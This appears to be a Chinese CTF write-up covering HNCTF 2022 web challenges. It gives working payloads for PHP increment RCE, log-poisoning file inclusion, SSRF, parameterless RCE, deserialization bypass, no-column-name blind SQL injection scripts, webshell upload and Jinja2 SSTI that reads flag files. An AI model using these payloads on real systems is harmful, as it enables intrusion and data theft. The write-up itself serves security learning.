写在前面:这是部分WP 一些比较有难度的我这小菜鸡也不会 等官方WP 我会补充
目录
- [Week1]Interesting_http
- 分析
- payload
- [Week1]2048
- 分析
- payload
- [Week1]easy_html
- 分析
- paylaod
- [Week1]Interesting_include
- 分析
- payload
- [Week1]easy_upload
- 分析
- payload
- [Week1]What is Web
- 分析
- payload
- [Week1]Challenge__rce–自增RCE
- 分析
- payload
- [WEEK2]easy_include — 包含日志
- 分析
- payload
- [WEEK2]ez_ssrf
- 分析
- payload
- [WEEK2]Canyource — 无参数RCE
- 分析
- payload
- [WEEK2]easy_unser
- 分析
- payload
- [WEEK2]easy_sql — 无列名盲注
- 分析
- payload
- [WEEK2]ez_SSTI — 无过滤
- 分析
- payload
- [WEEK2]ohmywordpress
- [WEEK3]ez_phar
- 分析
- [WEEK3]Fun_php
- 分析
- payload
- [WEEK3]ssssti
- 分析
- payload
[Week1]Interesting_http分析
应该和http协议有关 想要什么 肯定flag
说我们不是admin 看看cookie
修改cookie
继续修改 x-forwarded-for
payload
POST:want=flag请求头 Cookie: user=admin x-forwarded-for:127.0.0.1
[Week1]2048分析
题目描述
你能达到20000分吗?应该是要求我们玩到20000分
F12查看脚本
直接输入
payload
在控制台输入
alert(String.fromCharCode(24685,21916,33,102,108,97,103,123,53,51,49,54,48,99,56,56,56,101,50,53,99,51,102,56,50,56,98,50,51,101,51,49,54,97,55,97,101,48,56,51,125));
[Week1]easy_html分析
输入框限制了11位 f12修改html属性 或者直接post参数
paylaod
POST请求参数cnt=11111111111&login=%E7%99%BB%E5%BD%95
[Week1]Interesting_include分析
题目描述:web手要懂得搜索 应该要借助浏览器
一眼伪协议
base64解码
payload
GET:?filter=php://filter/convert.base64-encode/resource=flag.phpbase64解码
[Week1]easy_upload分析
文件上传题目
试探一下上传个木马
我敲,直接上传成功 有些不对劲哦!
访问一下下试试,我敲 送分题
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWRwFpT9-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172222398.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9G7Zf4Er-1666973111136)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20221026172229588.png)]
payload
直接上传php一句话木马flag在根目录下
[Week1]What is Web分析
我敲 我傻了 这个题没写
直接查看源码 搜索 flag
或者 <!
base64解码
payload
也就是看源码
[Week1]Challenge__rce–自增RCE分析
hint:ctf吃瓜杯
打开源文件,查看源码 发现hint
直接给出的是源码
<?phperror_reporting(0);if (isset($_GET['hint'])) { highlight_file(__FILE__);}if (isset($_POST['rce'])) { $rce = $_POST['rce']; //长度小于等于120 if (strlen($rce) <= 120) { if (is_string($rce)) { //不能含有以下内容 if (!preg_match("/[!@#%^&*:'\-\"\/|`a-zA-Z~\\\\]/", $rce)) { eval($rce); } else { echo("Are you hack me?"); } } else { echo "I want string!"; } } else { echo "too long!"; }}
先跑一下试试那些可见字符没有被过滤
for($i=32;$i<127;$i++){ if (!preg_match("/[!@#%^&*:'\-\"\/|`a-zA-Z~\\\\]/", chr($i))) { echo chr($i); }}# $()+,.0123456789;=[]_{} 发现这些可以使用 那么 思路来了 自增RCE
大致说一下
php中 $_ = []._; echo $_; => Array_ $_[0]==>A 这样就可以构造命令执行本题中限制字符120 我们可以构造chr函数 拼接GET$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);url编码%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_1%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B(%24%24_%5B1%5D)()%3B
说明是可行的
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_++;$_1=$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
这样说是太长了 emmm
检查发现写的有点问题 改进以下
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);GET?1=system&2=lsPOSTrce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
payload
GET?1=system&2=cat /ffflllaaagggPOSTrce=%24_%3D%5B%5D._%3B%24__%3D%24_%5B1%5D%3B%24_%3D%24_%5B0%5D%3B%24_%2B%2B%3B%24_1%3D%2B%2B%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24_1.%2B%2B%24_.%24__%3B%24_%3D_.%24_(71).%24_(69).%24_(84)%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B
[WEEK2]easy_include — 包含日志分析
<?php//WEB手要懂得搜索if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){ die("error"); } include($file);}else{ highlight_file(__FILE__);}
过滤了php date flag 看来是无法直接读取flag 而且无法使用伪协议
想到之前学的文件包含利用姿势:包含访问日志 查看以下服务器
默认文件位置在:
/var/log/nginx/access.log
直接包含以下
payload
就是抓包在请求头写入一个木马 连接就好
[WEEK2]ez_ssrf分析
根据题目访问index.php
<?phphighlight_file(__FILE__);error_reporting(0);$data=base64_decode($_GET['data']);$host=$_GET['host'];$port=$_GET['port'];$fp=fsockopen($host,intval($port),$error,$errstr,30);if(!$fp) { die();}else { fwrite($fp,$data); while(!feof($data)) { echo fgets($fp,128); } fclose($fp);}
考点就是php socket 伪造http请求ssrf
猜测有flag.php 直接发送请求看看,等到几十秒 给出如下反应 那就访问本机把
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogNDMuMTQzLjcuOTcNCkNvbm5lY3Rpb246IENsb3NlDQoNCg==&host=43.143.7.97&port=28819
但是访问本机22819端口无回显,考虑一般都是80端口 试试呗
这里要等待估计30s左右
其实一开始我就访问的本机80 但是因为等的好久就关了!!
payload
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80
[WEEK2]Canyource — 无参数RCE分析
打开发现直接给的源码
highlight_file(__FILE__);if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){ if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);} else die('nonono');}else echo('please input code');
ok发现此条正则表达式
任意字符加()被替换为空
R就是代表当前的遍历 也就是替换后的
$_GET['code']
这个是递归的替换,也就是将
a(v(1));
=>1;
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
题目要求替换后的是;
,也就是我们传参的类似a(b(c(x())));
无参数RCE 可以网上一搜很多的
下面我们开始进行解flag
- localeconv() — 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
- pos() — 返回数组中的当前单元, 默认取第一个值
- next — 将内部指针指向数组下一个元素并输出
- scandir() — 扫描目录
- array_reverse() — 翻转数组
下面就是输出flag.php的内容
过滤了
url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\/
使用 file_get_contents
读取
查看源码
payload
?code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));
[WEEK2]easy_unser分析
PHP反序列化 打开题目为源码
include 'f14g.php';error_reporting(0);highlight_file(__FILE__);class body{ private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind"; public function __construct($want){ $About_me = "When the object is created,I will be called"; if($want !== " ") $this->want = $want; else $this->want = $this->todonothing; } function __wakeup(){ $About_me = "When the object is unserialized,I will be called"; $but = "I can CHANGE you"; $this-> want = $but; echo "C1ybaby!"; } function __destruct(){ $About_me = "I'm the final function,when the object is destroyed,I will be called"; echo "So,let me see if you can get what you want\n"; if($this->todonothing === $this->want) die("鲍勃,别傻愣着!\n"); if($this->want == "I can CHANGE you") die("You are not you...."); if($this->want == "f14g.php" OR is_file($this->want)){ die("You want my heart?No way!\n"); }else{ echo "You got it!"; highlight_file($this->want); } }}class unserializeorder{ public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!
"; function __sleep(){ $About_me = "When the object is serialized,I will be called"; echo "We Come To HNCTF,Enjoy the ser14l1zti0n
"; } function __toString(){ $About_me = "When the object is used as a string,I will be called"; return $this->CORE; }}$obj = new unserializeorder();echo $obj;$obj = serialize($obj);if (isset($_GET['ywant'])){ $ywant = @unserialize(@$_GET['ywant']); echo $ywant;}
审计一波源码
我们的目标是 highlight_file($this->want); 也就是 body 类传入 ywant 要保证 不触发 __wakeup() 传入参数数量大于实际参数数量绕过绕过 $this->want == "f14g.php" OR is_file($this->want) - 伪协议 is_file检测除了file外的伪协议都是false - 假目录 ./flase/../f14g.php
POC
want = "./a/../f14g.php"; //或者 $this->want = "php://filter/convert.base64-encode/resource=f14g.php"; $this->todonothing = "22"; }}echo(urlencode(serialize(new body())));?>
payload
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A15%3A%22.%2Fa%2F..%2Ff14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D或者O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bs%3A2%3A%2222%22%3B%7D
[WEEK2]easy_sql — 无列名盲注分析
打开题目,发现页面的回显只有:1的、错误、error 三种 可以考虑盲注了
and && ^ # –+ 都被过滤
- 盲注的话考虑:与、异或、按位或、按位与
- 没有办法闭合考虑 or ||
sql中字符数字可以和数字进行按位或
构造 1'|1||'
正确回显 1'|2||'
错误回显
然后进行爆破数据库长度
发现数据库的长度是3
进一步尝试,order、information_schema都被过滤
information_schema 被过滤 -> 无列名注入
order 被过滤 -> group 替换
爆破数据库的列数,3列
1'group/**/by/**/3,'前面的'闭合1前的' 后面的是闭合之前有的' 加上,分开 因为过滤了# 和 + 无法注释 而order by group by要在最后 使用,分割select * from xx where id = '1'group by 5,'2'
information_schema.table被过滤 可以使用 mysql.innodb_table_stats
脚本爆破一下表的名字 得出 ccctttfff
def get_cloumns(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
下面无列名爆破数据
select 1,2,3 union select * from ccctttfff
这样以来 1 2 3 分别对应一列 二列 三列 的列名
然后
select group_concat(`1`,'-',`2`,'-',`3`) from (select 1,2,3 union select * from ccctttfff)aselect(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a
这样就可以在没有列名的情况下查询到数据库信息
然后我们开始盲注
1'|if(ascii(substr((select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/ccctttfff)a),1,1))=55,1,2)||'
运行了好多遍 遍历出来的三列分别是
# 第一列 1# 第二列 bob# 第三列 I am so handsome
呜呜呜,跑了好多遍,终于怀疑:出题人是不是没有把flag放到这数据库
重新跑所有的数据库库名
qwq,原谅我太菜
跑出来有两个数据库
ctf
ccctttfff
# 这个脚本的缺点:半自动 但是跑出来的表不会重复 需要修改 # limit 0,1 =>第一个数据库# limit 1,1 =>第二个数据库# ......def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1# 这个脚本的缺点:有多少个表 就会跑多少个数据库 数据库会重复def get_all_database(): flag = '' count = 1 while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) break elif i == 126: return False time.sleep(0.1) count += 1
第一个脚本结果:
第二个脚本结果:
然后我跑的是所有的表名
因为知道ccctttff属于ctf,那么跑出来的其余的都是ctftraining的
# 结果:# ctf:ccctttfff# ctftraining:flag,news,users,gtid_slave_posdef get_tables(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
我是估计flag就在flag表里面,但是把无列名查询我们要知道表中具体的列数的 我们又不知道flag表多少列
我查了资料也没找到,因为information_schema被过滤,有大佬知道可以说下的!
然后就是靠懵了
比赛中表的列数一般会小于10 也就 3 4 5左右
我是从1开始试的
1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'
脚本
def get_values(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) print(i) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
最后也是跑出来了
PS:这个题挺鸡贼的哈哈哈
payload
就放的最后的
def get_values(): count = 1 flag = '' while True: for i in range(32, 127): data = { "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)a),{count},1))={i},1,2)||'"} resp = requests.post(url=url, data=data) print(i) if success in resp.text: flag += chr(i) print(flag) count += 1 break elif i == 126: return False time.sleep(0.05)
[WEEK2]ez_SSTI — 无过滤分析
get参数是name,无过滤 直接SSTI注入就好
payload
?name={{"".__class__.__mro__[1].__subclasses__()[226].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat flag').read()")}}
[WEEK2]ohmywordpress
版本是6.0.2 好像是存在sql注入 但是没搜到相关资料
[WEEK3]ez_phar分析
直接猜测的就是上传目录是upload 上传一个 phar文件
直接访问webshell管理工具连接就好了
[WEEK3]Fun_php分析
打开题目直接给出的是源码
<?phperror_reporting(0);highlight_file(__FILE__);include "k1y.php";include "fl4g.php";$week_1 = false;$week_2 = false;$getUserID = @$_GET['user']; $getpass = (int)@$_GET['pass']; $getmySaid = @$_GET['mySaid']; $getmyHeart = @$_GET['myHeart']; $data = @$_POST['data'];$verify =@$_POST['verify'];$want = @$_POST['want'];$final = @$_POST['final'];if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0) echo "Welcom T0 1he HNCTF2022
";if("state_HNCTF2022" == 1) echo $hint; else echo "HINT? NoWay~!
";if(is_string($getUserID)) $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3rif($user == 114514 && $getpass == $pass){ if (!ctype_alpha($getmySaid)) die(); if (!is_numeric($getmyHeart)) die(); if(md5($getmySaid) != md5($getmyHeart)){ die("Cheater!"); } else $week_1 = true;}if(is_array($data)){ for($i=0;$i
扫一眼 是要我们 $week_1 $week_2 均为true会给出flag
第一个$week_1
// 首先第一个if 对传入的getuserid进行判断是否为字符串 肯定是字符串 // 那么会拼接 我们要的是$user=114514 但是拼接了怎么办? // u5er_D0_n0t_b3g1n_with_4_numb3r 翻译一下 user_do_not_begin_with_4_number // 我理解的大概就是 user没有以数字开头 php中 非数字开头字符串+数字字符串 = 数字字符串 测试一下if(is_string($getUserID)) $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r
测试 :
<?phpecho "9a"+'10'; // 19echo "\n";echo "a9"+"11"; // 11 题目中属于这个情况 也就是最终的 $user = $getUserID;echo "\n";echo "9a"+'a8'; // 9echo "\n";echo "a4"+'a8'; // 0
那么我们知道要传入user=114514
// 然后进入第二个if 如果 $getpass和$pass相等 那么进入判断// 在前面发现 $getpass = (int)@$_GET['pass']; 要转入数字 只要传入不是数字开头字符串 那$getpass一定为0 假如 $pass是字母开头 那么 就可以进入判断 我们试一下 if($user == 114514 && $getpass == $pass){ //.....}
给user传入114514 给pass传字符 mySaid 传纯字母 myHeart传纯数字
如果返回了Cheater!说明 $pass 就是字母开头 给pass传字母来绕过,假设成立
// 下面就是md5弱比较绕过 if (!ctype_alpha($getmySaid)) die(); if (!is_numeric($getmyHeart)) die(); // 要求$getmySaid是纯字母 $getmyHeart是数字 而且 md5两者相等 这里是 != 弱判断 // 使用 md5 之后是0e开头就可以绕过 //mySaid=TUFEPMC myHeart=1586264293 if(md5($getmySaid) != md5($getmyHeart)){ die("Cheater!"); } else $week_1 = true;
如下,我们让第一个 $week_1 = true;
user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293
下面实现第二个
// 这个if 首先判断传入的 data 是不是一个数组// 我们要先了解一下array_search的漏洞// array_search是查找$data数组中和Probius相等的值 返回其下标 在第三个参数不为true的时候 是 == 弱比较 也就是 0 == "admin" 成立 我们只需要构造[0]即可 或者 ['x'] 这种 以任意字母开头的字符串if(is_array($data)){ for($i=0;$i<count($data);$i++){ if($data[$i]==="Probius") exit(); $data[$i]=intval($data[$i]); } if(array_search("Probius",$data)===0) $week_2 = true; else die("HACK!");}
这样我们就让 $week_2=true 进入下一个if
if($week_1 && $week_2){ //这里是md5强相等绕过 我们前面让data是一个数组 使$verify是一个数组即可 对数组计算md5值都是0 if(md5($data)===md5($verify)){}
进入下一个条件
这个使奇怪的编码 Unicode 在NSSCTF 有一个 CheckIn 考点就是这个
我们在vscode打开修改就好了
U+202E=>0xE2 0x80 0xAE=>%E2%80%AEU+2066=>0xE2 0x81 0xA6=>%E2%81%A6U+2069=>0xE2 0x81 0xA9=>%E2%81%A9hn=hn%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctf
试下我们思路是否正确
这样我们进入最后的if
// 我们使用通配符试试 而且还包含了 include "k1y.php"; 试试看if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want)) die("HACK!");else{ echo "Fine!you win"; system("cat ./$want");}
我们试试看输出 k1y.php 的内容,这也验证了推测 user和pass都是字母开头
直接 $want=f*
payload
GET:?user=114514&pass=d&mySaid=TUFEPMC&myHeart=1586264293&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6ctfPOST:data[]=0&verify[]=3&want=f*
[WEEK3]ssssti分析
长的和week2的ssti一样 但是肯定变难了(加了黑名单)
黑名单(大概
'" _ args -- 无法使用 request.argsos -- 无法导入os不允许post -- 无法使用 request.value
看之前笔记找到了一个payload
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
这个是读取根目录下的flag 根据上个ssti的题猜测flag应该还是在本目录
然后使用request.cookies构造上述的payload就好了
payload
?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}cookie:c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag